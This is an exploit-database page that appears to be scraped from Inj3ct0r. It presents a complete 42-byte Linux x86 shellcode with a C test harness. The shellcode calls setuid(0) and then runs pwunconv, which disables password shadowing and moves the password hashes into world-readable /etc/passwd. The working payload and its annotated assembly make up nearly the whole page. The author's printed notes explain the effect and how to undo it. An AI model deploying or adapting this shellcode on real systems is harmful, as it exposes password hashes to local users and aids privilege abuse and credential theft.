Home / os / win7

linux/x86 setuid(0) && execve(/usr/sbin/pwunconv,0,0

Posted on 15 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 setuid(0) &amp;&amp; execve(/usr/sbin/pwunconv,0,0) 42 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================================================== linux/x86 setuid(0) &amp;&amp; execve(/usr/sbin/pwunconv,0,0) shellcode 42 bytes ======================================================================== #Special Thanks Inj3ct0r Exploit DataBase #I Love Inj3ct0r.Com #include &lt;stdio.h&gt; const char sc[]= &quot;x31xdb&quot; //xor ebx,ebx &quot;x8dx43x17&quot; //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop! &quot;x99&quot; //cdq &quot;xcdx80&quot; //int 80 //setuid(0) shouldn't returns -1 right? ;) &quot;xb0x0b&quot; //mov al,0bh &quot;x52&quot; //push edx /Termina la cadena con un 0 &quot;x68x63x6fx6ex76&quot; //push dword &quot;conv&quot; &quot;x68x70x77x75x6e&quot; //push dword &quot;pwun&quot; &quot;x68x62x69x6ex2f&quot; //push dword &quot;bin/&quot; &quot;x68x73x72x2fx73&quot; //push dword &quot;sr/s&quot; &quot;x68x2fx2fx2fx75&quot; //push dword &quot;///u&quot; &quot;x89xe3&quot; //mov ebx,esp &quot;x89xd1&quot; //mov ecx,edx &quot;xcdx80&quot;; //int 80h void main() { printf(&quot; ~ This shellcode disables shadowing on a linux system ~&quot; &quot; ~ Coded by vlan7 ~&quot; &quot; ~ http://www.vlan7.org ~&quot; &quot; ~ Date: 4/Jul/2009&quot; &quot; You'll have the passwords stored in /etc/passwd.&quot; &quot; For undo purposes use the pwconv command.&quot; &quot; ~ Cheers go to: Wadalbertia&quot; &quot; ~ Shellcode Size: %d bytes &quot;, sizeof(sc)-1); (*(void (*)()) sc)(); } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-15]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP